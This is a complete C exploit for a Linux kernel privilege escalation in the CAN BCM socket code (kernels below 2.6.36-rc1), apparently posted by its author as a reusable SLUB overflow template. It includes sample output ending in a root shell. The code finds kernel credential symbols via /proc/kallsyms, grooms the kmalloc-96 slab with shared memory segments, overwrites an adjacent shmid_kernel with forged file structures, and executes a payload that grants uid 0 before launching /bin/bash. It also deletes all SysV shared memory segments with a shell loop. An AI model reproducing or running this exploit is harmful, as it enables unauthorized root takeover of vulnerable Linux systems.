通用的linux kernel slub overflow攻击代码模板, 关于slub overflow的溢出研究请见下期webzine:)
/*
* Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
*
* by wzt <wzt.wzt@gmail.com>
*
* based on exploit by Jon Oberheide, the original code use RX_SETUP opcode
* to locate the smashed shmid_kernel, i modified it to general slub overflow
* templates.
*
* tested on centos5.4 + 2.6.32 with selinux disabled.
*
* [wzt@localhost can]$ ./exp
* [+] looking for symbols...
* [+] found commit_creds addr at 0xc0446524.
* [+] found prepare_kernel_cred addr at 0xc0446710.
* [+] setting up exploit payload...
* [+] checking slab total: 1008 active: 915 free: 93
* [+] smashing free slab ...
* [+] smashing 46 total: 1008 active: 1008 free: 0
* [+] smashing adjacent slab ...
* [+] smashing 146 total: 1092 active: 1092 free: 0
* [+] free exist shmid with idx: 142
* [+] creating PF_CAN socket...
* [+] connecting PF_CAN socket...
* [+] clearing out any active OPs via RX_DELETE...
* [+] first trigger 96 bytes in kmalloc-96.
* [+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...
* [+] mmap'ed mapping of length 328 at 0xb7761000
* [+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...
* [+] launching root shell!
* [root@localhost can]# id
* uid=0(root) gid=0(root)
* [root@localhost can]# uname -a
* Linux localhost.localdomain 2.6.32 #3 SMP Sat Dec 25 12:23:19 CST 2010 i686 i686 i386 GNU/Linux
* [root@localhost can]#
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <errno.h>
#define KALLSYMS_NAME "/proc/kallsyms"
#define SLAB_NAME "kmalloc-96"
#define SLAB_SIZE 96
#define SLAB_NUM 100
struct sockaddr_can {
sa_family_t can_family;
int can_ifindex;
union {
struct { uint32_t rx_id, tx_id; } tp;
} can_addr;
};
struct can_frame {
uint32_t can_id;
uint8_t can_dlc;
uint8_t data[8] __attribute__((aligned(8)));
};
struct bcm_msg_head {
uint32_t opcode;
uint32_t flags;
uint32_t count;
struct timeval ival1, ival2;
uint32_t can_id;
uint32_t nframes;
struct can_frame frames[0];
};
#ifndef PF_CAN
#define PF_CAN 29
#endif
#ifndef CAN_BCM
#define CAN_BCM 2
#endif
#define RX_SETUP 5
#define RX_DELETE 6
#define CFSIZ sizeof(struct can_frame)
#define MHSIZ sizeof(struct bcm_msg_head)
#define IPCMNI 32768
#define EIDRM 43
#define HDRLEN_KMALLOC 8
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct super_block {
struct list_head s_list;
unsigned int s_dev;
unsigned long s_blocksize;
unsigned char s_blocksize_bits;
unsigned char s_dirt;
uint64_t s_maxbytes;
void *s_type;
void *s_op;
void *dq_op;
void *s_qcop;
void *s_export_op;
unsigned long s_flags;
}super_block;
struct mutex {
unsigned int count;
unsigned int wait_lock;
struct list_head wait_list;
void *owner;
};
struct inode {
struct list_head i_hash;
struct list_head i_list;
struct list_head i_sb_list;
struct list_head i_dentry_list;
unsigned long i_ino;
unsigned int i_count;
unsigned int i_nlink;
unsigned int i_uid;
unsigned int i_gid;
unsigned int i_rdev;
uint64_t i_version;
uint64_t i_size;
unsigned int i_size_seqcount;
long i_atime_tv_sec;
long i_atime_tv_nsec;
long i_mtime_tv_sec;
long i_mtime_tv_nsec;
long i_ctime_tv_sec;
long i_ctime_tv_nsec;
uint64_t i_blocks;
unsigned int i_blkbits;
unsigned short i_bytes;
unsigned short i_mode;
unsigned int i_lock;
struct mutex i_mutex;
unsigned int i_alloc_sem_activity;
unsigned int i_alloc_sem_wait_lock;
struct list_head i_alloc_sem_wait_list;
void *i_op;
void *i_fop;
struct super_block *i_sb;
void *i_flock;
void *i_mapping;
char i_data[84];
void *i_dquot_1;
void *i_dquot_2;
struct list_head i_devices;
void *i_pipe_union;
unsigned int i_generation;
unsigned int i_fsnotify_mask;
void *i_fsnotify_mark_entries;
struct list_head inotify_watches;
struct mutex inotify_mutex;
}inode;
struct dentry {
unsigned int d_count;
unsigned int d_flags;
unsigned int d_lock;
int d_mounted;
void *d_inode;
struct list_head d_hash;
void *d_parent;
}dentry;
struct file_operations {
void *owner;
void *llseek;
void *read;
void *write;
void *aio_read;
void *aio_write;
void *readdir;
void *poll;
void *ioctl;
void *unlocked_ioctl;
void *compat_ioctl;
void *mmap;
void *open;
void *flush;
void *release;
void *fsync;
void *aio_fsync;
void *fasync;
void *lock;
void *sendpage;
void *get_unmapped_area;
void *check_flags;
void *flock;
void *splice_write;
void *splice_read;
void *setlease;
}op;
struct vfsmount {
struct list_head mnt_hash;
void *mnt_parent;
void *mnt_mountpoint;
void *mnt_root;
void *mnt_sb;
struct list_head mnt_mounts;
struct list_head mnt_child;
int mnt_flags;
const char *mnt_devname;
struct list_head mnt_list;
struct list_head mnt_expire;
struct list_head mnt_share;
struct list_head mnt_slave_list;
struct list_head mnt_slave;
struct vfsmount *mnt_master;
struct mnt_namespace *mnt_ns;
int mnt_id;
int mnt_group_id;
int mnt_count;
}vfsmount;
struct file {
struct list_head fu_list;
struct vfsmount *f_vfsmnt;
struct dentry *f_dentry;
void *f_op;
unsigned int f_lock;
unsigned long f_count;
}file;
struct kern_ipc_perm {
unsigned int lock;
int deleted;
int id;
unsigned int key;
unsigned int uid;
unsigned int gid;
unsigned int cuid;
unsigned int cgid;
unsigned int mode;
unsigned int seq;
void *security;
};
struct shmid_kernel {
struct kern_ipc_perm shm_perm;
struct file *shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
unsigned int shm_cprid;
unsigned int shm_lprid;
void *mlock_user;
}shmid_kernel;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
FILE *s_fp;
char buff[200];
char *p = NULL, *p1 = NULL;
unsigned long addr = 0;
s_fp = fopen(file_name, "r");
if (s_fp == NULL) {
printf("open %s failed.\n", file_name);
return 0;
}
while (fgets(buff, 200, s_fp) != NULL) {
if (strstr(buff, symbol_name) != NULL) {
buff[strlen(buff) - 1] = '\0';
p = strchr(strchr(buff, ' ') + 1, ' ');
++p;
if (!p) {
return 0;
}
if (!strcmp(p, symbol_name)) {
p1 = strchr(buff, ' ');
*p1 = '\0';
sscanf(buff, "%lx", &addr);
//addr = strtoul(buff, NULL, 16);
printf("[+] found %s addr at 0x%x.\n",
symbol_name, addr);
break;
}
}
}
fclose(s_fp);
return addr;
}
int check_slab(char *slab_name, int *active, int *total)
{
FILE *fp;
char buff[1024], name[64];
int active_num, total_num;
fp = fopen("/proc/slabinfo", "r");
if (!fp) {
perror("fopen");
return -1;
}
while (fgets(buff, 1024, fp) != NULL) {
sscanf(buff, "%s %u %u", name, &active_num, &total_num);
if (!strcmp(slab_name, name)) {
*active = active_num;
*total = total_num;
return total_num - active_num;
}
}
return -1;
}
void clear_old_shm(void)
{
char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; "
"do ipcrm -m $shmid > /dev/null 2>&1; done;";
system(cmd);
}
void setup(void)
{
printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds)
find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
if (!commit_creds) {
printf("[-] not found commit_creds addr.\n");
return ;
}
prepare_kernel_cred =
(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
"prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] not found prepare_kernel_cred addr.\n");
return ;
}
printf("[+] setting up exploit payload...\n");
super_block.s_flags = 0;
inode.i_size = 4096;
inode.i_sb = &super_block;
inode.inotify_watches.next = &inode.inotify_watches;
inode.inotify_watches.prev = &inode.inotify_watches;
inode.inotify_mutex.count = 1;
dentry.d_count = 4096;
dentry.d_flags = 4096;
dentry.d_parent = NULL;
dentry.d_inode = &inode;
op.mmap = &kernel_code;
op.get_unmapped_area = &kernel_code;
vfsmount.mnt_flags = 0;
vfsmount.mnt_count = 1;
file.fu_list.prev = &file.fu_list;
file.fu_list.next = &file.fu_list;
file.f_dentry = &dentry;
file.f_vfsmnt = &vfsmount;
file.f_op = &op;
shmid_kernel.shm_perm.key = IPC_PRIVATE;
shmid_kernel.shm_perm.uid = 501;
shmid_kernel.shm_perm.gid = 501;
shmid_kernel.shm_perm.cuid = getuid();
shmid_kernel.shm_perm.cgid = getgid();
shmid_kernel.shm_perm.mode = -1;
shmid_kernel.shm_file = &file;
}
int trigger(void)
{
int *shmids;
int total_num, active_num, free_num;
int i, ret, sock, base, free_idx;
int len, sock_len, mmap_len;
struct sockaddr_can addr;
struct bcm_msg_head *msg;
void *efault;
char *buf;
clear_old_shm();
free_num = check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n",
total_num, active_num, total_num - active_num);
shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));
fprintf(stdout, "[+] smashing free slab ...\n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
if (!check_slab(SLAB_NAME, &active_num, &total_num))
break;
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
base = i;
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
fprintf(stdout, "[+] smashing adjacent slab ...\n");
i = base;
for (; i < base + SLAB_NUM; i++) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
free_idx = i - 4;
fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
perror("shmctl");
}
sleep(1);
printf("[+] creating PF_CAN socket...\n");
sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
if (sock < 0) {
printf("[-] kernel lacks CAN packet family support\n");
exit(1);
}
printf("[+] connecting PF_CAN socket...\n");
memset(&addr, 0, sizeof(addr));
addr.can_family = PF_CAN;
ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
if (sock < 0) {
printf("[-] could not connect CAN socket\n");
exit(1);
}
len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16));
msg = malloc(len);
memset(msg, 0, len);
msg->can_id = 2959;
msg->nframes = (UINT_MAX / CFSIZ) + (SLAB_SIZE / 16) + 1;
printf("[+] clearing out any active OPs via RX_DELETE...\n");
msg->opcode = RX_DELETE;
ret = send(sock, msg, len, 0);
printf("[+] first trigger 96 bytes in %s.\n", SLAB_NAME);
msg->opcode = RX_SETUP;
ret = send(sock, msg, len, 0);
if (ret < 0) {
printf("[-] kernel rejected malformed CAN header\n");
exit(1);
}
printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");
mmap_len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16) * 3);
sock_len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16) * 4);
efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);
printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");
msg = (struct bcm_msg_head *)efault;
memset(msg, 0, mmap_len);
msg->can_id = 2959;
msg->nframes = (SLAB_SIZE / 16) * 4;
buf = (char *)msg;
shmid_kernel.shm_perm.seq = shmids[free_idx + 2] / IPCMNI;
memcpy(&buf[MHSIZ + (SLAB_SIZE * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
msg->opcode = RX_SETUP;
ret = send(sock, msg, mmap_len, 0);
if (ret != -1 && errno != EFAULT) {
printf("[-] couldn't trigger EFAULT, exploit aborting!\n");
exit(1);
}
ret = (int)shmat(shmids[free_idx + 2], NULL, SHM_RDONLY);
if (ret == -1 && errno != EIDRM) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
printf("[+] launching root shell!\n");
execl("/bin/bash", "/bin/bash", NULL);
exit(0);
}
return 0;
}
int main(void)
{
setup();
trigger();
}